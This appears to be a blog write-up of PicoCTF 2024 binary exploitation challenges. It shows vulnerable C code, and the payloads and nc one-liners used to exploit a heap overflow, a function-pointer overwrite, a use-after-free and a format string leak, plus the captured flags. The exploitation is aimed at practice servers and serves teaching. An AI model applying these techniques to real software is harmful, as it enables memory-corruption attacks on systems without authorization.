7 minute read

A few weeks ago, I took part in PicoCTF 2024, along with a few of my friends from University. Unfortunately, this CTF was held at a pretty bad time for us, as it was the middle of the semester, and we were all pretty busy with our schoolwork and personal commitments.

Thankfully, this competition was held across two weeks, which gave us plenty of time to think and solve the challenges. Overall, even though we didn’t manage to solve everything, I’d say we fared pretty well.

We ended up being ranked 293 globally, which is pretty decent in my books.

I think that if we had more time, we definitely could’ve solved more challenges.

Anyway, since this competition has ended, I wanted to post my writeup for the challenges I attempted. As there are numerous challenges involved, I’ll be splitting up my writeup into a few parts, where each part will cover a specific category.

The links to the latter parts can be found here:

  • Part 2: Cryptography
  • Part 3: Reverse Engineering
  • Part 4: Forensics and General Skills

This first part will cover the Binary Exploitation/pwn challenges which I’ve solved.

heap 0 (50 points)

Are overflows just a stack concern?

Author: Abrxs, pr1or1tyQ

As the name suggests, this series of pwn challenges seem to involve the heap memory instead of the stack memory.

Let’s start off by running the given binary.

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x55c05713a6b0  ->   pico
+-------------+----------------+
[*]   0x55c05713a6d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Interestingly, we notice that 32B of heap memory appear to be allocated for the storage of the pico string. This can be inferred from the difference in addresses: 0x...d0 - 0x...b0.

When we select option 3, we observe that the safe_var is bico. And, when we select option 2, we can insert our own data into the heap space allocated for the pico string.

Since we know that the memory space is only 32B in size, we can try to abuse this fact. If we look at the provided source code:

...
void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}
...

We can see that scanf() is used to write our input string into the buffer. Evidently, as there is a lack of input size validation, this function could cause a potential buffer overflow.

Therefore, we can try to send a payload of exactly 32B in size, to cause a buffer overflow.

Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x57bd600322b0  ->   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+-------------+----------------+
[*]   0x57bd600322d0  ->   
+-------------+----------------+

Indeed, we observe that this “safe variable” has been overwritten. Presumably, we have achieved the win condition for this challenge.

If we press 4 to print the flag, we will get the flag value.

YOU WIN
picoCTF{my_first_heap_overflow_1ad0e1a6}

heap 2 (200 points)

Can you handle function pointers?

Author: Abrxs, pr1or1tyQ

Similarly, let’s execute the binary.

We’ll notice that the setup for this challenge is pretty similar to heap 0. If we enter 4 to print the flag, immediately, we get a segmentation fault.

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 4
Segmentation fault (core dumped)

If we view the source code, we notice that a win() function exists. A check_win() function is also present to validate that the win condition has been fulfilled.

void win() {
    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);
}

void check_win() { 
    printf("%x\n", *(int*)x);

    ((void (*)())*(int*)x)(); 
}

Interestingly, the segmentation fault we received just now was due to the improper pointer access in the check_win() function call.

Specifically, the program attempted to treat the value stored in variable x as an address. In essence, for check_win() to work, the value in x should be a function address, and this function is called through the usage of pointers.

As a win() function exists, we’ll need to load the address of win() into the variable x. Similar to the previous challenge, the allocated heap space can be overwritten.

Thus, we can craft our payload. Firstly, we will need to determine the address of win(). Using readelf, we can see that the address of win() is 0x4011a0.

Now, we simply need to flood the first heap allocated space with 32 junk bytes. Then, insert the address of win() afterwards, such that the address overwrites the value stored in x.

We can do this using Python 2 in the command line. Note that our payload will consist of a few additional bytes as we need to navigate around the provided menu:

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
$ python2 -c "print b'2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\n1\n3\n4'" | nc mimas.picoctf.net 57625

I have a function, I sometimes like to call it, maybe you should change it
...
Enter your choice: picoCTF{and_down_the_road_we_go_ba77314d}

heap 3 (200 points)

This program mishandles memory. Can you exploit it to get the flag?

Author: Abrxs

Interestingly, for this challenge, if we view the source code, we see that a function exists to free up memory:

void free_memory() {
    free(x);
}

We can also see this option in the menu:

freed but still in use
now memory untracked
do you smell the bug?

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 

In this challenge, the vulnerability lies in the way the free() function works.

After the program frees an area of allocated memory, it immediately reuses the same memory location when calling malloc(). This is a use-after-free error.

According to MITRE’s CWE definition:

… the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.

We wish to note here that free() only frees the memory allocated to the 35B struct object.

// Create struct
typedef struct {
  char a[10];
  char b[10];
  char c[10];
  char flag[5];
} object;

To solve this challenge, we want to free up this memory location immediately upon the initialization of the program, then reallocate another 35B to our payload.

As we can see, the first 30B of this payload should consist of junk bytes to fill up the three 10B char arrays. Then, since the win condition requires that flag is equals to pico:

void check_win() {
  if(!strcmp(x->flag, "pico")) {
    printf("YOU WIN!!11!!\n");

    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);

  } else {
    printf("No flage for u :(\n");
    fflush(stdout);
  }
  // Call function in struct
}

We therefore need to append pico to the end of our payload, to overwrite the flag variable.

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 5
...
Enter your choice: 2
Size of object allocation: 35
Data for flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
...
Enter your choice: 1
[*]   Address   ->   Value   
+-------------+-----------+
[*]   0x10032ce  ->   pico
+-------------+-----------+

Since the flag variable has been overwritten, we have achieved the win condition.

Enter your choice: 4
YOU WIN!!11!!
picoCTF{now_thats_free_real_estate_a7381726}

format string 1 (100 points)

Patrick and Sponge Bob were really happy with those orders you made for them, but now they’re curious about the secret menu. Find it, and along the way, maybe you’ll find something else of interest!

Author: syreal

Firstly, we want to note that the binary used is a 64-bit binary. We will know this after using checksec.

  Arch:     amd64-64-little
  RELRO:    Partial RELRO
  Stack:    No canary found
  NX:       NX enabled
  PIE:      No PIE (0x400000)

As the name suggests, a format string attack is involved here. If we look at the source code, we can see that this is possible, as printf() is being used to print our input directly, without any additional formatting.

  printf("Give me your order and I'll read it back to you:\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);
  printf("\n");

This challenge is rather simple to solve. We just need to print values off the stack.

For a 32-bit executable, we can simply use %x as a format specifier. However, in this case, as this is a 64-bit binary, we need to use %lx instead, in order to retrieve the entire words stored on the stack (instead of half-words).

$ python3 -c 'print(32*"%lx")' | nc mimas.picoctf.net 51760
Give me your order and I'll read it back to you:
Here's your order: 402118071c44b64ea000901880a3478347ffef101854071c44b43fe6071c44b6644d017ffef1018610007b4654436f636970355f31346d316e343478345f3331793731655f673431665f7d383130386531771c44b6668d82300000007206e693374307250a336c797453971c44b677de971c44b44809871c44b6644d007ffef10186206c25786c25786c2525786c25786c2578786c25786c25786c
Bye!

Plug these hex values into CyberChef, and we should see some values that resemble a flag.

Extract the values, and piece them together.

The flag is: picoCTF{4n1m41_57y13_4x4_f14g_e11e8018}